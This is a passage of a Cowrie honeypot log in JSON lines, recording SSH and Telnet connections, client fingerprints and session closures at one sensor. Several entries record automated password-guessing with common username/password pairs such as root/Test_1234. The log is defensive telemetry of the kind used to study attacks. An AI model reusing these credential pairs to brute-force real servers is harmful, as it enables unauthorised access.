"diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:52.559333Z","src_ip":"103.13.206.208","session":"70386a0ab7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test_1234","message":"login attempt [root/Test_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:53.516399Z","src_ip":"103.13.206.208","session":"70386a0ab7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:54.750460Z","src_ip":"103.13.206.208","session":"70386a0ab7c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":36544,"dst_ip":"10.17.0.5","dst_port":22,"session":"386bf243c210","protocol":"ssh","message":"New connection: 148.230.169.229:36544 (10.17.0.5:22) [session: 386bf243c210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:56.532883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:56.537377Z","src_ip":"148.230.169.229","session":"386bf243c210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:56.603037Z","src_ip":"148.230.169.229","session":"386bf243c210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!!","message":"login attempt [ubuntu/123qwe!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:56.895899Z","src_ip":"148.230.169.229","session":"386bf243c210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:57.962969Z","src_ip":"148.230.169.229","session":"386bf243c210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56546,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ce6382d265","protocol":"ssh","message":"New connection: 122.168.114.167:56546 (159.203.135.109:22) [session: 78ce6382d265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:05.089854Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":45130,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e95538bb8fc","protocol":"ssh","message":"New connection: 210.114.22.126:45130 (10.17.0.5:22) [session: 5e95538bb8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:05.241686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:05.262755Z","src_ip":"210.114.22.126","session":"5e95538bb8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:05.748895Z","src_ip":"210.114.22.126","session":"5e95538bb8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testuser1","message":"login attempt [root/Testuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:07.262099Z","src_ip":"210.114.22.126","session":"5e95538bb8fc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:08.571322Z","src_ip":"122.168.114.167","session":"78ce6382d265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:08.575461Z","src_ip":"122.168.114.167","session":"78ce6382d265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.0112361907959,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:08.582199Z","src_ip":"185.26.126.47","session":"657cc48f0ad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:09.793595Z","src_ip":"210.114.22.126","session":"5e95538bb8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:25.867353Z","src_ip":"122.168.114.167","session":"78ce6382d265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.6","message":"Connection lost after 26.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:31.656433Z","src_ip":"122.168.114.167","session":"78ce6382d265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"251.3","message":"Connection lost after 251.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:35.383151Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e0f19a87dc4","protocol":"ssh","message":"New connection: 122.168.114.167:58952 (159.203.135.109:22) [session: 2e0f19a87dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:43.723780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:48.433645Z","src_ip":"122.168.114.167","session":"2e0f19a87dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:40:48.438769Z","src_ip":"122.168.114.167","session":"2e0f19a87dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:07.628604Z","src_ip":"122.168.114.167","session":"2e0f19a87dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":33746,"dst_ip":"159.203.135.109","dst_port":22,"session":"710faa6b0313","protocol":"ssh","message":"New connection: 103.13.206.208:33746 (159.203.135.109:22) [session: 710faa6b0313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:12.101313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:12.105638Z","src_ip":"103.13.206.208","session":"710faa6b0313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:12.344526Z","src_ip":"103.13.206.208","session":"710faa6b0313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"Aa123456","message":"login attempt [abc/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:13.327884Z","src_ip":"103.13.206.208","session":"710faa6b0313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.7","message":"Connection lost after 29.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:13.416719Z","src_ip":"122.168.114.167","session":"2e0f19a87dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00126004219055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:14.480607Z","src_ip":"188.132.150.42","session":"e31ae0077844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:14.569125Z","src_ip":"103.13.206.208","session":"710faa6b0313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.150.42","src_port":9624,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a68df02940e","protocol":"telnet","message":"New connection: 188.132.150.42:9624 (159.203.135.109:23) [session: 7a68df02940e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:15.058475Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33128,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c34559e762","protocol":"ssh","message":"New connection: 122.168.114.167:33128 (159.203.135.109:22) [session: 19c34559e762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:23.373013Z"}
{"eventid":"cowrie.session.closed","duration":120.00154948234558,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:25.487999Z","src_ip":"94.4.39.55","session":"c8d8e1908a7f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:28.172080Z","src_ip":"122.168.114.167","session":"19c34559e762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:28.175910Z","src_ip":"122.168.114.167","session":"19c34559e762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.172","src_port":48284,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b27239a2ed6","protocol":"ssh","message":"New connection: 14.103.114.172:48284 (10.17.0.5:22) [session: 7b27239a2ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:34.084280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:34.983524Z","src_ip":"14.103.114.172","session":"7b27239a2ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:34.989347Z","src_ip":"14.103.114.172","session":"7b27239a2ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":34140,"dst_ip":"10.17.0.5","dst_port":22,"session":"7087fbedc283","protocol":"ssh","message":"New connection: 210.114.22.126:34140 (10.17.0.5:22) [session: 7087fbedc283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:39.608225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:39.707894Z","src_ip":"210.114.22.126","session":"7087fbedc283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:40.108281Z","src_ip":"210.114.22.126","session":"7087fbedc283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres!@#","message":"login attempt [postgres/postgres!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:41.014679Z","src_ip":"210.114.22.126","session":"7087fbedc283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:42.313820Z","src_ip":"210.114.22.126","session":"7087fbedc283","protocol":"ssh"}
